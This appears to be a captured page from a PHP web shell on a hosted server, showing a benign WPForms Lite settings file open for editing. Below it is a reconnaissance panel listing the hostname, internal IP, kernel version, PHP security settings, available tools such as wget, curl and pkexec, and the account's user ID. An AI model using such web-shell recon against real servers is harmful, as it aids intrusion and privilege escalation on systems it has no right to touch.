[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Access.php
<?php namespace WPForms\Lite\Admin\Settings; use WPForms\Admin\Education\Helpers; /** * Settings Access tab. * * @since 1.5.8 */ class Access { /** * View slug. * * @since 1.5.8 * * @var string */ const SLUG = 'access'; /** * Constructor. * * @since 1.5.8 */ public function __construct() { $this->hooks(); } /** * Hooks. * * @since 1.5.8 */ public function hooks() { add_action( 'admin_enqueue_scripts', [ $this, 'enqueues' ] ); add_filter( 'wpforms_settings_tabs', [ $this, 'add_tab' ] ); add_filter( 'wpforms_settings_defaults', [ $this, 'add_section' ] ); } /** * Enqueues. * * @since 1.5.8 */ public function enqueues() { if ( ! wpforms_is_admin_page( 'settings', self::SLUG ) ) { return; } // Lity. wp_enqueue_style( 'wpforms-lity', WPFORMS_PLUGIN_URL . 'assets/lib/lity/lity.min.css', null, '3.0.0' ); wp_enqueue_script( 'wpforms-lity', WPFORMS_PLUGIN_URL . 'assets/lib/lity/lity.min.js', [ 'jquery' ], '3.0.0', true ); } /** * Add Access tab. * * @since 1.5.8 * * @param array $tabs Array of tabs. * * @return array Array of tabs. */ public function add_tab( $tabs ) { $tab = [ self::SLUG => [ 'name' => esc_html__( 'Access', 'wpforms-lite' ), 'form' => false, 'submit' => false, ], ]; return wpforms_list_insert_after( $tabs, 'geolocation', $tab ); } /** * Add Access settings section. * * @since 1.5.8 * * @param array $settings Settings sections. * * @return array */ public function add_section( $settings ) { $settings[ self::SLUG ][ self::SLUG . '-page' ] = [ 'id' => self::SLUG . '-page', 'content' => wpforms_render( 'education/admin/page', $this->template_data(),true ), 'type' => 'content', 'no_label' => true, ]; return $settings; } /** * Get the template data. * * @since 1.8.6 * * @return array */ private function template_data(): array { $images_url = WPFORMS_PLUGIN_URL . 'assets/images/lite-settings-access/'; return [ 'features' => [ __( 'Create Forms', 'wpforms-lite' ), __( 'Delete Forms', 'wpforms-lite' ), __( 'Edit Forms Entries', 'wpforms-lite' ), __( 'Edit Forms', 'wpforms-lite' ), __( 'Delete Others Forms', 'wpforms-lite' ), __( 'Edit Others Forms Entries', 'wpforms-lite' ), __( 'Edit Others Forms', 'wpforms-lite' ), __( 'View Forms Entries', 'wpforms-lite' ), __( 'Delete Forms Entries', 'wpforms-lite' ), __( 'View Forms', 'wpforms-lite' ), __( 'View Others Forms Entries', 'wpforms-lite' ), __( 'Delete Others Forms Entries', 'wpforms-lite' ), __( 'View Others Forms', 'wpforms-lite' ), ], 'images' => [ [ 'url' => $images_url . 'screenshot-access-controls.png', 'url2x' => $images_url . 'screenshot-access-controls@2x.png', 'title' => __( 'Simple Built-in Controls', 'wpforms-lite' ), ], [ 'url' => $images_url . 'screenshot-members.png', 'url2x' => $images_url . 'screenshot-members@2x.png', 'title' => __( 'Members Integration', 'wpforms-lite' ), ], [ 'url' => $images_url . 'screenshot-user-role-editor.png', 'url2x' => $images_url . 'screenshot-user-role-editor@2x.png', 'title' => __( 'User Role Editor Integration', 'wpforms-lite' ), ], ], 'utm_medium' => 'Settings - Access', 'utm_content' => 'Access Controls', 'heading_title' => __( 'Access Controls', 'wpforms-lite' ), 'heading_description' => sprintf( '<p>%1$s</p>', __( 'Access controls allows you to manage and customize access to WPForms functionality. You can easily grant or restrict access using the simple built-in controls, or use our official integrations with Members and User Role Editor plugins.', 'wpforms-lite' ) ), 'badge' => __( 'Pro', 'wpforms-lite' ), 'features_description' => __( 'Custom access to the following capabilities…', 'wpforms-lite' ), ]; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697